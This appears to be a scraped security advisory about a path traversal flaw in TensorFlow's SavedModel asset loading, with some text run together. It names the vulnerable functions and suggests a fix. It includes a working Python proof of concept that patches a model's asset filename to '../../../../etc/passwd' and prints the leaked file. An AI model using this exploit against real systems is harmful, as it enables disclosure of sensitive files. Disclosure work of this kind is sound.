Views
No views yet
export_dir + "assets" + asset_file_def.filenamefilename field from the SavedModel protobuf is NOT sanitized for
path traversal sequences (../). An attacker can craft a SavedModel where
asset_file_def.filename contains ../../../../etc/passwd, causing the
loader to resolve the asset path outside the model directory.AddAssetsTensorsToInputs() in tensorflow/cc/saved_model/loader.ccio::JoinPath(export_dir, kSavedModelAssetsDirectory, asset_file_def.filename())get_asset_tensors() in tensorflow/python/saved_model/loader_impl.pyos.path.join(assets_directory, asset_proto.filename)tf.saved_model.load()model.serve())/etc/passwd (or any target file) via the
traversed asset path and returns its contents1import tensorflow as tf
2import struct
3
4# Step 1: Create a normal SavedModel with an asset
5class M(tf.Module):
6 def __init__(self):
7 super().__init__()
8 self.asset = tf.saved_model.Asset('assets/placeholder.txt')
9
10 @tf.function(input_signature=[])
11 def serve(self):
12 return {'data': tf.io.read_file(self.asset.asset_path)}
13
14m = M()
15tf.saved_model.save(m, '/tmp/normal_model',
16 signatures={'serving_default': m.serve})
17
18# Step 2: Patch saved_model.pb to change asset filename
19# Replace 'placeholder.txt' with '../../../../etc/passwd'
20import pathlib
21pb_path = pathlib.Path('/tmp/normal_model/saved_model.pb')
22data = pb_path.read_bytes()
23data = data.replace(b'placeholder.txt', b'../../../../etc/passwd')
24pb_path.write_bytes(data)
25
26# Step 3: Load the patched model and invoke
27model = tf.saved_model.load('/tmp/normal_model')
28result = model.signatures['serving_default']()
29print("Exfiltrated:", result['data'].numpy().decode())
30# Expected: contents of /etc/passwdAssetFileDef.filename before path joining:.. componentsos.path.realpath() and verify the result is within assets_directory